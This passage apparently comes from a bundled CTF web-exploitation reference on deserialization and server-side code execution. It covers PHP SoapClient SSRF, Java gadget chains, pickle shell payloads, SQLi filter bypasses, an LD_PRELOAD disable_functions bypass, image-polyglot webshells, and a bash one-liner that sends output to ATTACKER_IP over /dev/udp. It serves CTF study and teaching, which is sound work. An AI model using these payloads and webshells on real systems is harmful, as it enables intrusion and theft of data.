works:**\n1. Application serializes user input into `s:170:\"wherewhere...PAYLOAD\";`\n2. Filter replaces each \"where\" (5) with \"hacker\" (6), adding 1 byte per occurrence\n3. After replacement, actual string is longer than the serialized length field\n4. PHP deserializer reads exactly `s:170:` bytes, stops mid-string, and finds the injected `\";}s:5:\"photo\";s:10:\"config.php\";}` as the next serialized field\n\n**Key insight:** Any post-serialization string expansion or contraction creates exploitable length mismatches for object injection. Look for word filters, censorship, or sanitization applied after `serialize()` but before storage/`unserialize()`.\n\n---\n\n### PHP SoapClient CRLF SSRF via __call() Deserialization (N1CTF 2018)\n\n**Pattern:** When PHP deserializes a `SoapClient` object and a non-existent method is called on it, the `__call()` magic method fires an HTTP request. CRLF injection in the `uri` parameter allows crafting arbitrary HTTP requests to localhost (SSRF). This turns any deserialization sink + method call into a full SSRF primitive.\n\n**How it works:**\n1. Attacker crafts a serialized `SoapClient` with CRLF-injected `uri` parameter\n2. Application deserializes the object (via `unserialize()`, session handler, or other deserialization sink)\n3. When any undefined method is called on the deserialized object, `__call()` triggers\n4. `SoapClient` sends an HTTP request to `location` with the crafted `uri` containing injected headers and body\n\n```php\n$p = array(\n 'uri' => \"http://127.0.0.1/\\r\\nContent-Length:0\\r\\n\\r\\nPOST /index.php?action=login HTTP/1.1\\r\\nHost: 127.0.0.1\\r\\nCookie: PHPSESSID=XXX\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 42\\r\\n\\r\\nusername=admin&password=nu1ladmin&code=XXX\\r\\n\\r\\nPOST /foo\\r\\n\",\n 'location' => 'http://127.0.0.1/'\n);\n$soap = new SoapClient(null, $p);\n// When getcountry() called on deserialized object -> triggers __call() -> sends crafted HTTP\n```\n\n```python\nimport requests\n\n# Generate the serialized SoapClient payload\n# The CRLF in uri smuggles a complete second HTTP request\nphp_serialize_script = '''\n\u003c?php\n$target = \"http://127.0.0.1/\";\n$post_body = \"username=admin&password=nu1ladmin&code=XXX\";\n$headers = array(\n 'X-Forwarded-For: 127.0.0.1',\n 'Cookie: PHPSESSID=target_session_id'\n);\n$payload = array(\n 'uri' => \"http://127.0.0.1/\\\\r\\\\nContent-Length:0\\\\r\\\\n\\\\r\\\\nPOST /index.php?action=login HTTP/1.1\\\\r\\\\nHost: 127.0.0.1\\\\r\\\\n\" . implode(\"\\\\r\\\\n\", $headers) . \"\\\\r\\\\nContent-Type: application/x-www-form-urlencoded\\\\r\\\\nContent-Length: \" . strlen($post_body) . \"\\\\r\\\\n\\\\r\\\\n\" . $post_body . \"\\\\r\\\\n\\\\r\\\\nPOST /foo\\\\r\\\\n\",\n 'location' => $target\n);\necho serialize(new SoapClient(null, $payload));\n?>\n'''\n\n# The serialized payload is then injected into the deserialization sink\n# e.g., via session manipulation, cookie injection, or POST parameter\n```\n\n**Common trigger chains:**\n```text\nunserialize(user_input) → $obj->anyMethod() → SoapClient::__call() → HTTP request\nsession_start() with custom handler → SoapClient in session → __call() on access\n```\n\n**Key insight:** PHP's SoapClient `__call()` magic method fires HTTP requests when any undefined method is called. CRLF injection in the URI parameter smuggles complete HTTP requests, enabling authenticated SSRF to localhost. This is especially powerful when combined with other PHP deserialization vectors (session handlers, `phar://` wrappers) since `SoapClient` is a built-in PHP class requiring no additional libraries. Look for any code path where a deserialized object has a method called on it.\n\n---\n\n## Java TiedMapEntry + LazyMap + Reflection HashMap Patch (Trend Micro 2018)\n\n**Pattern:** Custom Java gadget chain that calls a static method (`Flag.getFlag()`) without any off-the-shelf ysoserial gadget. The chain uses `TiedMapEntry` wrapping a `LazyMap` whose factory is a `ChainedTransformer(ConstantTransformer(Flag.class), InvokerTransformer(\"getMethod\", ...), InvokerTransformer(\"invoke\", ...))`. Because LazyMap evaluates its factory on `get()` before serialization completes, the payload must smuggle the TiedMapEntry into a parent HashMap *after* building it — done by reflecting into `HashMap.table` and writing the entry directly.\n\n```java\n// Build the transformer chain (classic Commons Collections)\nTransformer[] chain = new Transformer[] {\n new ConstantTransformer(Flag.class),\n new InvokerTransformer(\"getMethod\",\n new Class[]{String.class, Class[].class},\n new Object[]{\"getFlag\", new Class[0]}),\n new InvokerTransformer(\"invoke\",\n new Class[]{Object.class, Object[].class},\n new Object[]{null, new Object[0]}),\n};\nMap inner = LazyMap.decorate(new HashMap(), new ChainedTransformer(chain));\nTiedMapEntry entry = new TiedMapEntry(inner, \"trigger\");\n\n// Wrap in HashMap WITHOUT triggering LazyMap resolution:\nHashMap\u003cObject, Object> outer = new HashMap\u003c>();\nouter.put(\"placeholder\", \"x\"); // force allocation of table[]\nMap.Entry[] table = (Map.Entry[]) Whitebox.getInternalState(outer, \"table\");\ntable[0] = new HashMap.Node(0, \"payload\", entry, null);\nWhitebox.setInternalState(outer, \"table\", table);\n\n// Serialize and send\nByteArrayOutputStream out = new ByteArrayOutputStream();\nnew ObjectOutputStream(out).writeObject(outer);\nbyte[] payload = out.toByteArray();\n```\n\n**Key insight:** The Commons Collections `LazyMap` + `ChainedTransformer` primitive can call any static method, not just `Runtime.exec`. When a CTF challenge adds its own `Flag.getFlag()` helper expecting the JVM to enforce access control, the same gadget chain used for RCE gives you direct method invocation. The tricky part is that calling `outer.put(payload, \"x\")` while building the HashMap would immediately resolve the LazyMap and leak the flag to the builder process — use reflection (`Whitebox.setInternalState` from PowerMock, or raw `Field.setAccessible(true)`) to write the TiedMapEntry into `HashMap.table` after the map is otherwise populated.\n\n**References:** Trend Micro CTF 2018 — Raimund Genes Cup Misc 300, writeup 11293\n\n---\n\n## Werkzeug SecureCookie Pickle RCE after SECRET_KEY Leak (CSAW 2018 Finals)\n\n**Pattern:** `werkzeug.contrib.securecookie.SecureCookie` serializes session data with `pickle`. Once the Flask `SECRET_KEY` leaks (for example via SSRF reading `/proc/self/environ`), any cookie re-signs cleanly, so a `__reduce__` gadget fires on deserialization.\n\n```python\nimport pickle, subprocess\nfrom werkzeug.contrib.securecookie import SecureCookie\n\nclass Pwn:\n def __reduce__(self):\n return (subprocess.check_output, (['cat', '/flag.txt'],))\n\ncookie = SecureCookie({'name': Pwn()}, SECRET_KEY).serialize()\n# Set Cookie: session=\u003ccookie> and read the flag from the response\n```\n\n**Key insight:** Any framework that mixes `pickle` with HMAC-signed cookies is a SECRET_KEY leak away from RCE. Flask's default `itsdangerous` uses JSON, but older apps on `SecureCookie` or custom signers still ship pickle.\n\n**References:** CSAW 2018 Finals — NekoCat, writeups 12130, 12144\n\n---\n\n## PHP unserialize + Double URL Encoding curl LFI (FireShell CTF 2019)\n\n**Pattern:** A PHP endpoint unserializes `$_GET['gg']`, and the gadget's `__destruct()` calls `doit()` which `curl`s `$this->url`. A blacklist blocks `.php`/`.txt`/`.html` via `strpos($this->url, $ext)`, but PHP decodes the query string once before `unserialize` — anything double URL-encoded (e.g. `%252e` for `.`) survives that decode as literal `%2e`, misses the `strpos` check, then gets decoded a second time by curl before the file is read.\n\n```php\nclass SHITS {\n private $url = \"file:///var/www/html/config.php\";\n private $method = \"doit\";\n private $addr; private $host; private $name;\n}\n// Replace '.' with '%252e' AFTER serialize(), then fix the string length.\n// \"file:///var/www/html/config.php\" (31) -> \"file:///var/www/html/config%252ephp\" (35 bytes on the wire,\n// 33 chars after the first decode), so set s:33 in the serialized blob.\nprint str_replace('.', '%252e', urlencode(serialize(new SHITS)));\n```\n```http\nGET /?gg=O%3A5%3A%22SHITS%22%3A5%3A%7B...s%3A33%3A%22file%3A%2F%2F%2Fvar%2Fwww%2Fhtml%2Fconfig%252ephp%22...%7D\n```\n\n**Key insight:** When a filter uses `strpos`/`preg_match` *before* URL decoding but the downstream consumer decodes again, double-encoded payloads bypass text-based blacklists. With PHP `unserialize`, remember the `s:\u003clen>` prefix must match the byte count *after* PHP's first URL decode (33 here, not 31 or 35) or the object fails to deserialize silently.\n\n**References:** FireShell CTF 2019 — Vice, writeup 13221\n\n---\n\n## Python Pickle RCE Wrapped in ROT13(Base64) (TAMUctf 2019)\n\n**Pattern:** Backup/restore endpoint round-trips Python objects through `pickle`, but encodes the result as `rot13(base64(pickle.dumps(obj)))` to obscure the format. The wrapper does not change exploitability — compose the inverse transforms before sending a `__reduce__` payload:\n\n```python\nimport base64, codecs, pickle, subprocess\n\ndef make_backup(obj):\n s = base64.b64encode(pickle.dumps(obj)).decode()\n return codecs.encode(s, 'rot-13')\n\ndef parse_backup(blob):\n s = codecs.decode(blob, 'rot-13')\n return pickle.loads(base64.b64decode(s))\n\nclass RunBinSh:\n def __reduce__(self):\n return (subprocess.Popen, (('/bin/sh',),))\n\nprint(make_backup(RunBinSh()))\n# -> tNAwp3IvpUWiL2Im... paste into the \"Load your backed up list\" prompt\n```\nSend the output into the app's load endpoint; pickle instantiates `subprocess.Popen(('/bin/sh',))` on deserialize and you land in a shell.\n\n**Key insight:** Obfuscation layers like ROT13, hex, zlib, or XOR do not change the pickle threat model — just compose the inverse transforms before sending. Identify the wrapper by round-tripping a known value (e.g. encode an empty list locally, compare against the server output); any 1:1 byte-for-byte mapping is a substitution cipher and trivially invertible.\n\n**References:** TAMUctf 2019 — VeggieTales, writeup 13424\n\n---\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":22411,"content_sha256":"483d30757b441c6dea9bceb940efd5cbc2c3c324d0efda242a46b30f7e2c3d3b"},{"filename":"server-side-exec-2.md","content":"# CTF Web - Server-Side Code Execution & Access Attacks (Part 2)\n\n## Table of Contents\n- [SQLi Keyword Fragmentation Bypass (SecuInside 2013)](#sqli-keyword-fragmentation-bypass-secuinside-2013)\n- [SQL WHERE Bypass via ORDER BY CASE (Sharif CTF 2016)](#sql-where-bypass-via-order-by-case-sharif-ctf-2016)\n- [SQL Injection via DNS Records (PlaidCTF 2014)](#sql-injection-via-dns-records-plaidctf-2014)\n- [Bash Brace Expansion for Space-Free Command Injection (Insomnihack 2016)](#bash-brace-expansion-for-space-free-command-injection-insomnihack-2016)\n- [Common Lisp Injection via Reader Macro (Insomnihack 2016)](#common-lisp-injection-via-reader-macro-insomnihack-2016)\n- [PHP7 OPcache Binary Webshell + LD_PRELOAD disable_functions Bypass (ALICTF 2016)](#php7-opcache-binary-webshell--ld_preload-disable_functions-bypass-alictf-2016)\n- [Wget GET Parameter Filename Trick for PHP Shell Upload (SECUINSIDE 2016)](#wget-get-parameter-filename-trick-for-php-shell-upload-secuinside-2016)\n- [Tar Filename Command Injection (CyberSecurityRumble 2016)](#tar-filename-command-injection-cybersecurityrumble-2016)\n- [PNG/PHP Polyglot Upload + Double Extension + disable_functions Bypass (MetaCTF Flash 2026)](#pngphp-polyglot-upload--double-extension--disable_functions-bypass-metactf-flash-2026)\n- [PHP BMP Pixel Webshell with Filename Truncation (Nuit du Hack CTF 2018)](#php-bmp-pixel-webshell-with-filename-truncation-nuit-du-hack-ctf-2018)\n- [Editor Backup File Source Disclosure (h4ckc0n 2017)](#editor-backup-file-source-disclosure-h4ckc0n-2017)\n- [date -f Arbitrary File Read (Can-CWIC 2017)](#date--f-arbitrary-file-read-can-cwic-2017)\n- [Apache mod_rewrite PATH_INFO Bypass (EKOPARTY 2017)](#apache-mod_rewrite-path_info-bypass-ekoparty-2017)\n- [PHP ReDoS to Skip Code Execution (CODE BLUE 2017)](#php-redos-to-skip-code-execution-code-blue-2017)\n- [Custom Serializer Integer Overflow 256 to 0 Length (Codegate 2018)](#custom-serializer-integer-overflow-256-to-0-length-codegate-2018)\n- [Pickle Chaining via STOP Opcode Stripping (VolgaCTF 2013)](#pickle-chaining-via-stop-opcode-stripping-volgactf-2013) *(stub — see [server-side-deser.md](server-side-deser.md))*\n- [Java Deserialization (ysoserial)](#java-deserialization-ysoserial) *(stub — see [server-side-deser.md](server-side-deser.md))*\n- [Python Pickle Deserialization](#python-pickle-deserialization) *(stub — see [server-side-deser.md](server-side-deser.md))*\n- [Race Conditions (Time-of-Check to Time-of-Use)](#race-conditions-time-of-check-to-time-of-use) *(stub — see [server-side-deser.md](server-side-deser.md))*\n- [Unanchored Regex Command Injection (picoCTF 2018)](#unanchored-regex-command-injection-picoctf-2018)\n- [Jinja2 SSTI via globals.__self__.exec() String Concat Bypass (InCTF 2018)](#jinja2-ssti-via-globals__self__exec-string-concat-bypass-inctf-2018)\n- [web.py reparam() eval + __subclasses__ with Blanked Builtins (HITCON 2018)](#webpy-reparam-eval--__subclasses__-with-blanked-builtins-hitcon-2018)\n- [Redis Lua Injection via redis.call() (HumanCTF 2018)](#redis-lua-injection-via-rediscall-humanctf-2018)\n- [PHP create_function String Interpolation RCE (FireShell 2019)](#php-create_function-string-interpolation-rce-fireshell-2019)\n- [php://input + NULL Byte + ~Bitwise base64 Filter Bypass (DefCamp 2018)](#phpinput--null-byte--bitwise-base64-filter-bypass-defcamp-2018)\n- [EXIF ImageDescription Shell Injection via exiftool (OTW Advent 2018)](#exif-imagedescription-shell-injection-via-exiftool-otw-advent-2018)\n- [.phar Extension Bypass for PHP Upload Blacklists (35C3 2018)](#phar-extension-bypass-for-php-upload-blacklists-35c3-2018)\n- [vsftpd 2.3.4 Smiley-Face Backdoor (P.W.N. CTF 2018)](#vsftpd-234-smiley-face-backdoor-pwn-ctf-2018)\n\nFor injection attacks (SQLi, SSTI, SSRF, XXE, command injection, PHP type juggling, PHP file inclusion), see [server-side.md](server-side.md). For deserialization attacks (Java, Pickle) and race conditions, see [server-side-deser.md](server-side-deser.md). For CVE-specific exploits, path traversal bypasses, Flask/Werkzeug debug, and other advanced techniques, see [server-side-advanced.md](server-side-advanced.md).\n\n*See also: [server-side-exec.md](server-side-exec.md) for Ruby/Perl/JS code injection, LaTeX injection RCE, PHP preg_replace /e RCE, PHP backtick eval, PHP assert() injection, Prolog injection, ReDoS timing oracle, file upload to RCE (.htaccess, log poisoning, Python .so hijack, Gogs symlink, ZipSlip), PHP deserialization from cookies, PHP extract() variable overwrite, XPath blind injection, API filter injection, HTTP response header hiding, WebSocket mass assignment, and Thymeleaf SpEL SSTI.*\n\n---\n\n## SQLi Keyword Fragmentation Bypass (SecuInside 2013)\n\n**Pattern:** Single-pass `preg_replace()` keyword filters can be bypassed by nesting the stripped keyword inside the payload word.\n\n**Key insight:** If the filter strips `load_file` in a single pass, `unload_fileon` becomes `union` after removal. The inner keyword acts as a sacrificial fragment.\n\n```php\n// Vulnerable filter (single-pass, case-sensitive)\n$str = preg_replace(\"/union/\", \"\", $str);\n$str = preg_replace(\"/select/\", \"\", $str);\n$str = preg_replace(\"/load_file/\", \"\", $str);\n$str = preg_replace(\"/ /\", \"\", $str);\n```\n\n```sql\n-- Bypass payload (spaces replaced with /**/ comments)\n(0)uniunionon/**/selselectect/**/1,2,3/**/frfromom/**/users\n-- Or nest the stripped keyword:\nunload_fileon/**/selectload_filect/**/flag/**/frload_fileom/**/secrets\n```\n\n**Variations:** Case-sensitive filters: mix case (`unIoN`). Space filters: `/**/`, `%09`, `%0a`. Recursive filters: double the keyword (`ununionion`). Always test whether the filter is single-pass or recursive.\n\n---\n\n## SQL WHERE Bypass via ORDER BY CASE (Sharif CTF 2016)\n\nWhen `WHERE` clause restrictions prevent direct filtering, use `ORDER BY CASE` to control result ordering and extract data:\n\n```sql\nSELECT * FROM messages ORDER BY (CASE WHEN msg LIKE '%flag%' THEN 1 ELSE 0 END) DESC\n```\n\n**Key insight:** Even without WHERE access, ORDER BY with conditional expressions forces target rows to appear first in results. Combine with `LIMIT 1` to isolate specific records.\n\n---\n\n## SQL Injection via DNS Records (PlaidCTF 2014)\n\n**Pattern:** Application calls `gethostbyaddr()` or `dns_get_record()` on user-controlled IP addresses and uses the result in SQL queries without escaping. Inject SQL through DNS PTR or TXT records you control.\n\n**Attack setup:**\n1. Set your IP's PTR record to a domain you control (e.g., `evil.example.com`)\n2. Add a TXT record on that domain containing the SQL payload\n3. Trigger the application to resolve your IP (e.g., via password reset)\n\n```php\n// Vulnerable code:\n$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);\n$details = dns_get_record($hostname);\nmysql_query(\"UPDATE users SET resetinfo='$details' WHERE ...\");\n// TXT record: \"' UNION SELECT flag FROM flags-- \"\n```\n\n**Key insight:** DNS records (PTR, TXT, MX) are an overlooked injection channel. Any application that resolves IPs/hostnames and incorporates the result into database queries is vulnerable. Control comes from setting up DNS records for attacker-owned domains or IP reverse DNS.\n\n---\n\n## Bash Brace Expansion for Space-Free Command Injection (Insomnihack 2016)\n\nWhen spaces and common shell metacharacters (` ctf-web — Skillopedia , `&`, `\\`, `;`, `|`, `*`) are filtered, use bash brace expansion and process substitution:\n\n```bash\n# Brace expansion inserts spaces: {cmd,-flag,arg} expands to: cmd -flag arg\n{ls,-la,../..}\n\n# Exfiltrate via UDP when outbound TCP is blocked:\n\u003c({ls,-la,../..}>/dev/udp/ATTACKER_IP/53)\n\n# Execute base64-encoded payload:\n\u003c({base64,-d,ENCODED_PAYLOAD}>/tmp/s.sh)\n```\n\n**Key insight:** Bash brace expansion `{a,b,c}` splits into space-separated tokens without requiring literal space characters. Combined with `/dev/udp/` or `/dev/tcp/` for exfiltration, this bypasses filters that block spaces and most shell metacharacters.\n\n---\n\n## Common Lisp Injection via Reader Macro (Insomnihack 2016)\n\nLisp's `read` function evaluates `#.(expression)` reader macros at parse time. When an application uses `read` for user input (instead of `read-line`), arbitrary code execution is possible:\n\n```lisp\n#.(ext:run-program \"cat\" :arguments '(\"/flag\"))\n#.(run-shell-command \"cat /flag\")\n```\n\n**Key insight:** Lisp's `read` treats data as code by design -- the `#.()` reader macro evaluates arbitrary expressions during parsing. This is analogous to SQL injection but for Lisp. Safe alternative: use `read-line` for string input, never `read` on untrusted data.\n\n---\n\n## Pickle Chaining via STOP Opcode Stripping (VolgaCTF 2013)\n\nStrip pickle STOP opcode (`\\x2e`) from first payload, concatenate second — both `__reduce__` calls execute in single `pickle.loads()`. Chain `os.dup2()` for socket output. See [server-side-deser.md](server-side-deser.md#pickle-chaining-via-stop-opcode-stripping-volgactf-2013) for full exploit code.\n\n---\n\n## Java Deserialization (ysoserial)\n\nSerialized Java objects in cookies/POST (starts with `rO0AB` / `aced0005`). Use ysoserial gadget chains (CommonsCollections, URLDNS for blind detection). See [server-side-deser.md](server-side-deser.md#java-deserialization-ysoserial) for payloads and bypass techniques.\n\n---\n\n## Python Pickle Deserialization\n\n`pickle.loads()` calls `__reduce__()` for instant RCE via `(os.system, ('cmd',))`. Common in Flask sessions, ML model files, Redis objects. See [server-side-deser.md](server-side-deser.md#python-pickle-deserialization) for payloads and restricted unpickler bypasses.\n\n---\n\n## Race Conditions (Time-of-Check to Time-of-Use)\n\nConcurrent requests bypass check-then-act patterns (balance, coupons, registration uniqueness). Send 50+ simultaneous requests so all see pre-modification state. See [server-side-deser.md](server-side-deser.md#race-conditions-time-of-check-to-time-of-use) for async exploit code and detection patterns.\n\n---\n\n---\n\n## PHP7 OPcache Binary Webshell + LD_PRELOAD disable_functions Bypass (ALICTF 2016)\n\n**Pattern (Homework):** Multi-stage chain: SQLi file write + PHP7 OPcache poisoning + `LD_PRELOAD` bypass of `disable_functions`.\n\n**Stage 1 — OPcache poisoning:**\nPHP7 with `opcache.file_cache` enabled stores compiled bytecode in `/tmp/OPcache/[system_id]/[webroot]/script.php.bin`. Replace the `.bin` file via SQLi `INTO DUMPFILE` to execute arbitrary PHP despite upload restrictions.\n\n```bash\n# 1. Calculate system_id from phpinfo() data\npython3 system_id_scraper.py http://target/phpinfo.php\n# Output: 39b005ad77428c42788140c6839e6201\n\n# 2. Generate opcode cache locally (match PHP version)\nphp -d opcache.enable_cli=1 -d opcache.file_cache=/tmp/OPcache \\\n -d opcache.file_cache_only=1 -f payload.php\n\n# 3. Patch system_id in binary (bytes 9-40)\n# 4. Upload via SQLi INTO DUMPFILE:\n```\n```sql\n-1 UNION SELECT X'\u003chex_of_payload.php.bin>'\nINTO DUMPFILE '/tmp/OPcache/39b005ad77428c42788140c6839e6201/var/www/html/upload/evil.php.bin' #\n```\n\n**Stage 2 — LD_PRELOAD bypass:**\nWhen `disable_functions` blocks all exec functions, use `putenv()` + `mail()` to execute code. PHP's `mail()` calls external sendmail, which respects `LD_PRELOAD`.\n\n```c\n/* evil.c — compile: gcc -Wall -fPIC -shared -o evil.so evil.c -ldl */\n#include \u003cstdlib.h>\n#include \u003cstdio.h>\n#include \u003cstring.h>\n\nvoid payload(char *cmd) {\n char buf[512];\n snprintf(buf, sizeof(buf), \"%s > /tmp/_output.txt\", cmd);\n system(buf);\n}\n\nint geteuid() {\n if (getenv(\"LD_PRELOAD\") == NULL) return 0;\n unsetenv(\"LD_PRELOAD\");\n char *cmd = getenv(\"_evilcmd\");\n if (cmd) payload(cmd);\n return 1;\n}\n```\n\n```php\n\u003c?php\n// payload.php — upload evil.so via webapp, deploy this via OPcache\nputenv(\"LD_PRELOAD=/var/www/html/upload/evil.so\");\nputenv(\"_evilcmd=\" . $_GET['cmd']);\nmail(\"[email protected]\", \"\", \"\", \"\");\nshow_source(\"/tmp/_output.txt\");\n?>\n```\n\n**Key insight:** PHP's `disable_functions` only restricts PHP-level calls. External programs spawned by `mail()` run without PHP restrictions, and `LD_PRELOAD` lets you override any libc function in those external programs. The OPcache `.bin` file has no integrity check beyond `system_id` matching — replacing it with a crafted binary gives arbitrary PHP execution even when upload validation strips PHP content.\n\n---\n\n## Wget GET Parameter Filename Trick for PHP Shell Upload (SECUINSIDE 2016)\n\n**Pattern (trendyweb):** Server uses `wget` to download user-provided URLs and `parse_url()` to validate the path. Wget saves files with GET parameters in the filename, creating a `.php` extension bypass.\n\n```text\nURL: http://attacker.com/avatar.png?shell.php\nparse_url($url)['path'] = '/avatar.png' # passes .png check\nwget saves as: avatar.png?shell.php # server treats as PHP\n```\n\nAccess via URL-encoded `?`: `http://target/data/hash/avatar.png%3fshell.php?cmd=id`\n\n**Key insight:** `wget` preserves GET parameters in the output filename when no `-O` flag is specified. `parse_url()` separates path from query, so validation only sees the path extension. The resulting file has a `.php` extension from the query string portion, which Apache/nginx interprets as PHP.\n\n---\n\n## Tar Filename Command Injection (CyberSecurityRumble 2016)\n\n**Pattern (Jobs):** Server extracts tar archives and displays filenames via a `.cgi` script. Filenames containing shell metacharacters are passed to shell without sanitization.\n\n```bash\n# Create tar with command injection filename\nmkdir exploit && cd exploit\ntouch 'name; cat /flag #'\ntar cf exploit.tar *\n# Upload — server runs: echo \"name; cat /flag #\" in CGI context\n```\n\n**Key insight:** When server-side scripts process filenames from user-uploaded archives (tar, zip) via shell commands, special characters in filenames become injection vectors. The semicolon breaks out of the filename context, and `#` comments out trailing characters. Always sanitize filenames from untrusted archives before shell interpolation.\n\n---\n\n## PNG/PHP Polyglot Upload + Double Extension + disable_functions Bypass (MetaCTF Flash 2026)\n\n**Pattern (Brand Kit):** Upload filter rejects `.php` extension but accepts image uploads. nginx/PHP-FPM executes files ending in `.php` regardless of preceding extensions. `disable_functions` blocks all command execution functions, but filesystem functions remain available.\n\n**Step 1: Create PNG/PHP polyglot**\n```bash\n# Create a valid PNG that also contains PHP code after the IEND chunk\n# PHP interpreter ignores binary data before \u003c?php\ncp valid_image.png polyglot.png.php\n\n# Append PHP payload after the PNG IEND marker\ncat >> polyglot.png.php \u003c\u003c 'PAYLOAD'\n\u003c?php\n// disable_functions blocks system/exec/passthru/shell_exec/popen/proc_open\n// Use filesystem functions instead\n$files = scandir('/');\nforeach ($files as $f) {\n if (strpos($f, 'flag') !== false || strpos($f, 'ctf') !== false) {\n echo \"FOUND: $f\\n\";\n echo file_get_contents(\"/$f\");\n }\n}\n// Fallback: list everything\necho \"\\n--- Full listing ---\\n\";\nprint_r($files);\n?>\nPAYLOAD\n```\n\n**Step 2: Upload with double extension**\n```bash\n# Filter checks extension — .png.php has .php at the end\n# Some filters only check first extension (.png) or reject exact match on .php\ncurl -F '[email protected];type=image/png' http://target/upload\n\n# Alternative double extensions to try:\n# .png.php .jpg.php .gif.php\n# .png.phtml .png.phar .png.php5\n# .php.png (some filters check last extension, nginx checks .php anywhere)\n```\n\n**Step 3: Access and enumerate**\n```bash\n# The uploaded file is served by nginx which passes .php to PHP-FPM\ncurl http://target/uploads/polyglot.png.php\n\n# If flag filename is randomized, first enumerate:\n# scandir('/') reveals: flag_a8f3c9d2e1.txt\n# Then read it with file_get_contents()\n```\n\n**Useful PHP functions when `disable_functions` blocks execution:**\n```php\n\u003c?php\n// File discovery\nscandir('/'); // List directory\nglob('/flag*'); // Glob pattern match\nfile_exists('/flag.txt'); // Check existence\n\n// File reading\nfile_get_contents('/flag.txt'); // Read entire file\nreadfile('/flag.txt'); // Output file directly\nfile('/flag.txt'); // Read as array of lines\nfopen('/flag.txt', 'r'); // Stream-based read\n\n// Environment / info leaking\nphpinfo(); // Full PHP config, env vars\ngetenv('FLAG'); // Environment variable\nget_defined_vars(); // All variables in scope\n\n// If open_basedir is set, check what's allowed:\nini_get('open_basedir');\nini_get('disable_functions');\n?>\n```\n\n**Key insight:** Three layers work together: (1) PNG/PHP polyglot passes image validation because it starts with valid PNG magic bytes; (2) double extension `.png.php` bypasses filters that reject `.php` but passes nginx's location regex that matches `\\.php ctf-web — Skillopedia ; (3) when `disable_functions` blocks all command execution, `scandir()` + `file_get_contents()` remain available for directory listing and file reading. Always enumerate the filesystem first when `disable_functions` is in play -- the flag filename is often randomized.\n\n**When to recognize:** File upload challenge with image-only restrictions. Check `phpinfo()` output for `disable_functions` list. If all exec functions are blocked, pivot to pure PHP filesystem functions.\n\n**References:** MetaCTF Flash CTF 2026 \"Brand Kit\"\n\n---\n\n### PHP BMP Pixel Webshell with Filename Truncation (Nuit du Hack CTF 2018)\n\n**Pattern:** Encode PHP code as BMP pixel colors (BGR format). The server validates the file extension (e.g., requires `.JPG` or `.BMP`) but truncates filenames to a maximum length. Craft a filename like `'A'*46 + '.php.JPG'` that passes the `.JPG` extension check but truncates to `'A'*46 + '.php'` at the 50-character limit.\n\n**How BMP pixel encoding works:**\n```python\nimport struct\nimport requests\n\n# BMP files store pixel data as raw bytes in BGR order (Blue, Green, Red)\n# PHP ignores non-PHP content before \u003c?php tags\n# So embedding PHP code in pixel color values creates a valid BMP that is also valid PHP\n\npayload = \"\u003c?php @$_GET[a]($_GET[b]);?>\"\n\ndef pad(s, block=3):\n \"\"\"Pad payload to multiple of 3 bytes (one pixel = 3 color bytes).\"\"\"\n while len(s) % block != 0:\n s += \" \"\n return s\n\ndef chunk(s, n):\n \"\"\"Split string into n-byte chunks.\"\"\"\n return [s[i:i+n] for i in range(0, len(s), n)]\n\n# Read a template BMP file (small valid BMP, e.g., 10x10)\nwith open(\"template.bmp\", \"rb\") as f:\n data = bytearray(f.read())\n\n# Find the pixel data offset (stored at byte 10-13 in BMP header)\npixel_offset = struct.unpack_from('\u003cI', data, 10)[0]\n\n# Encode PHP payload as BMP pixel colors\npadded = pad(payload)\nindex = pixel_offset\nfor c in chunk(padded, 3):\n data[index + 2] = ord(c[0]) # R -> B in BMP format (BGR order)\n data[index + 1] = ord(c[1]) # G stays\n data[index] = ord(c[2]) # B -> R in BMP format\n index += 4 # skip alpha byte (if 32-bit BMP) or use 3 for 24-bit\n\n# Filename truncation exploit:\n# Server checks extension: must end with .JPG or .BMP\n# Server truncates filename to 50 chars\n# \"A\" * 46 + \".php\" = 50 chars (after truncation)\n# \"A\" * 46 + \".php\" + \".JPG\" = 54 chars (passes extension check before truncation)\nname = \"A\" * 46 + \".php\"\n\n# Upload with the extension that passes validation\nrequests.post(\n \"http://target/upload\",\n data={\"data\": str(list(data)), \"name\": name + \".JPG\", \"format\": \"BMP\"}\n)\n\n# Access the webshell (filename truncated to .php)\nr = requests.get(f\"http://target/uploads/{name}\", params={\"a\": \"system\", \"b\": \"cat /flag.txt\"})\nprint(r.text)\n```\n\n**Filename truncation variants:**\n```text\n# 50-char limit example:\n\"A\"*46 + \".php\" + \".JPG\" -> truncated to \"A\"*46 + \".php\" (50 chars)\n\"A\"*46 + \".php\" + \".png\" -> truncated to \"A\"*46 + \".php\" (50 chars)\n\n# Other truncation lengths — adjust padding:\n# For N-char limit: \"A\"*(N-4) + \".php\" + \".ext\"\n# The \".ext\" passes the extension check, then gets truncated away\n```\n\n**Key insight:** BMP files store pixel data as raw bytes in BGR order. PHP ignores non-PHP content before `\u003c?php` tags. When the server truncates filenames to a fixed length, `'A'*46 + '.php' + '.JPG'` passes extension validation but saves as `.php`. This combines three bypass techniques: (1) polyglot file format (valid BMP + valid PHP), (2) extension check evasion via filename truncation, (3) webshell hidden in image pixel data survives re-encoding unless the server re-renders the image from scratch.\n\n---\n\n## Editor Backup File Source Disclosure (h4ckc0n 2017)\n\n**Pattern:** Text editors leave backup files alongside the original when saving. These are often left on web servers and served as plain text, leaking PHP source before execution.\n\n| Editor | Backup pattern |\n|--------|---------------|\n| gedit | `file~` |\n| vim | `.file.swp` (also `.file.swn`, `.file.swo`) |\n| nano | `file~` |\n| emacs | `file~` and `#file#` |\n\n```bash\n# Check common backup variants for a target file\nTARGET=\"http://target/checker.php\"\nfor suffix in \"~\" \".swp\" \".bak\" \".orig\"; do\n curl -s -o /dev/null -w \"%{http_code} $TARGET$suffix\\n\" \"$TARGET$suffix\"\ndone\n# vim hidden-file backup:\ncurl -s \"http://target/.checker.php.swp\"\n# emacs auto-save:\ncurl -s \"http://target/#checker.php#\"\n```\n\n```bash\n# Practical: grab vim swap file and recover source\ncurl -o checker.swp \"http://target/.checker.php.swp\"\nvim -r checker.swp # opens recovered file in vim\n# Or: strings checker.swp # quick content extraction\n```\n\n**Key insight:** Always check for `filename~`, `.filename.swp`, `#filename#` variants when hunting for source disclosure. Combine with directory listing or known filenames from JS/HTML comments to enumerate candidates.\n\n---\n\n## date -f Arbitrary File Read (Can-CWIC 2017)\n\n**Pattern:** The GNU `date` command's `-f`/`--file` flag reads each line 